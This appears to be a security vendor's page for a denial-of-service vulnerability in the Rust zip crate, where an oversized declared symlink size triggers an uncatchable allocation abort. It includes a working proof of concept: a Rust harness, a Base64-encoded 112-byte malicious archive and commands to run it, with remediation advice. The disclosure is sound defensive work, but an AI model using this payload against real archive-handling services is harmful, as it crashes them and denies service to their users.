CVE-2026-115909

CVE-2026-115909 is a high-severity uncontrolled resource consumption vulnerability in zip (rust), affecting versions >= 1.3.0, < 9.0.0. It is fixed in 9.0.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction

The symbolic-link branch of ZipArchive::extract_internal() allocates a buffer using an attacker-declared size before reading any entry data. A 112-byte archive terminates the extracting process with SIGABRT through this infallible allocation.

Details

#[cfg(any(unix, windows))]
if file.is_symlink() {
    let mut target = Vec::with_capacity(file.size() as usize); // @audit unbounded memory allocation
    file.read_to_end(&mut target)?;
    drop(file);
    make_symlink(&outpath, &target, &self.shared.files)?;
    continue;
}

src/read/mod.rs#L399-L405 (reviewed commit 6f09b306); the same code is at src/read.rs#L417-L418 in released v8.6.0.

Both inputs are attacker-controlled:

  • ZipFile::size() returns uncompressed_size verbatim from the central directory record. A ZIP64 extended-information extra field widens it to a full u64 (src/read/mod.rs#L619-L625). It is never cross-checked against the compressed size, the remaining archive length, or any platform-appropriate bound for a symlink target.
  • ZipFile::is_symlink() is decided entirely by the central directory's external-attributes field, via the S_IFLNK bit.

Memory allocation failure → uncatchable process abort. The reservation is sized from the declared uncompressed_size before a single byte of the entry is read. Vec::with_capacity() is infallible: on allocator refusal it calls handle_alloc_error(), which aborts the process. This is not a Rust panic, it is not caught by catch_unwind(), is unaffected by panic = "unwind", and is not contained by isolating the call in a worker thread. This was verified by wrapping the call in all three at once; the process still died with exit 134.

The declared value needed is a property of the host's address space, not of reachability. On a 64 GB host with heuristic overcommit, declared sizes from roughly 2^38 upward abort reliably. Sizes at or above 2^63 instead trip Vec's internal capacity check and produce a catchable capacity overflow panic, so an attacker simply avoids that band. The reproducer declares 2^62, which exceeds the 47-bit user address space of x86-64 Linux outright and therefore aborts deterministically regardless of installed RAM or overcommit policy. Under a ulimit -v cap or a memory-constrained container the threshold drops far enough that a plain 32-bit uncompressed_size with no ZIP64 field suffices, a virtual-memory limit lowers the bar rather than mitigating the defect.

This is process termination, not memory exhaustion: Vec::with_capacity() only maps address space and never touches pages, so resident memory stays flat and the abort happens on the refused reservation itself, before any byte is read.

PoC

The reproducer consists of the following zip harness and payload. It requires only the zip crate; use a standard Base64 decoder to materialise the archive before running it.

[package]
name = "zip-poc"
version = "0.1.0"
edition = "2021"

[dependencies]
zip = "8.6.0"
use std::{env, fs::File, io::BufReader};

fn main() {
    let archive_path = env::args().nth(1).expect("usage: poc <archive.zip>");
    let outdir = std::env::temp_dir().join("zip-poc");
    std::fs::create_dir_all(&outdir).unwrap();

    let file = File::open(archive_path).unwrap();
    let mut archive = zip::ZipArchive::new(BufReader::new(file)).unwrap();
    let r = archive.extract(&outdir);            // <-- process dies here
    println!("SURVIVED: {:?}", r);
}

Save the Base64 payload below as archive.b64, remove its whitespace, decode it with a standard Base64 decoder (for example, base64 -d archive.b64 > archive.zip on Linux), and run cargo run --release -- archive.zip.

Uncatchable abort, 112 bytes. One Stored entry named a; external attributes 0xA1FF0000 (S_IFLNK|0777); ZIP64 extra field declaring uncompressed_size = 2^62; zero-byte payload. sha256 0c68c3934f22651a6bd2726f7d58140124b1839196a1d0ae468864cdfda74676.

UEsDBC0AAAAAAAAAAAAAAAAAAAAAAP////8BAAAAYVBLAQItAy0AAAAAAAAAAAAAAAAAAAAAAP//
//8BAAwAAAAAAAAAAAD/oQAAAABhAQAIAAAAAAAAAABAUEsFBgAAAAABAAEAOwAAAB8AAAAAAA==

Observed on x86-64 Linux, rustc 1.93.1, release profile, against both the reviewed commit and released v8.6.0:

entries=1
memory allocation of 4611686018427387904 bytes failed
Aborted (core dumped)          # exit 134

The SURVIVED line never prints. Wrapping extract() in catch_unwind inside a spawned thread with panic = "unwind" produces the identical outcome.

Suggested remediation

Before allocating, compare file.size() with a documented, platform-appropriate maximum symlink-target length and reject entries that exceed it. Alternatively, replace Vec::with_capacity() with fallible try_reserve() and return an I/O error when allocation fails. Do not use Linux's PATH_MAX as a cross-platform contract.

Apply the allocation fix to src/read/stream.rs as defence-in-depth, although its symlink path is currently unreachable because streaming entries have no symlink attributes.

For reference, the crate already applies exactly this defence to another untrusted size on the same path: ZipArchive::new() clamps a suspicious number_of_files to zero and explicitly rejects an oversized central directory before reserving (src/read/zip_archive.rs#L185-L202). The symlink branch received neither guard. A survey of Vec::with_capacity across src/ finds exactly two sites sized from untrusted input: src/read/mod.rs:401 and src/read/stream.rs:73.

Impact

Applications running on Unix or Windows targets that call ZipArchive::extract() on attacker-supplied input are affected, with default features and no special configuration. The malicious 112-byte archive causes an unrecoverable, uncatchable termination of the extracting process, repeatable at will and not mitigable at the call site with catch_unwind, a worker thread, or a pre-flight metadata check.

Upload handling, mail-attachment processing, package and artefact ingestion, backup restore and container-image layer extraction all match this pattern. No confidentiality or integrity property is affected: no memory unsafety, no out-of-bounds access, no disclosure and no data corruption.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-115909 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.0.0); upgrading removes the vulnerable code path.

Affected versions

zip (>= 1.3.0, < 9.0.0)

Security releases

zip → 9.0.0 (rust)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade zip to 9.0.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-115909? CVE-2026-115909 is a high-severity uncontrolled resource consumption vulnerability in zip (rust), affecting versions >= 1.3.0, < 9.0.0. It is fixed in 9.0.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
  2. How severe is CVE-2026-115909? CVE-2026-115909 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of zip are affected by CVE-2026-115909? zip (rust) versions >= 1.3.0, < 9.0.0 is affected.
  4. Is there a fix for CVE-2026-115909? Yes. CVE-2026-115909 is fixed in 9.0.0. Upgrade to this version or later.
  5. Is CVE-2026-115909 exploitable, and should I be worried? Whether CVE-2026-115909 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-115909 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-115909? Upgrade zip to 9.0.0 or later.

Other vulnerabilities in zip

Stop the waste.
Protect your environment with Kodem.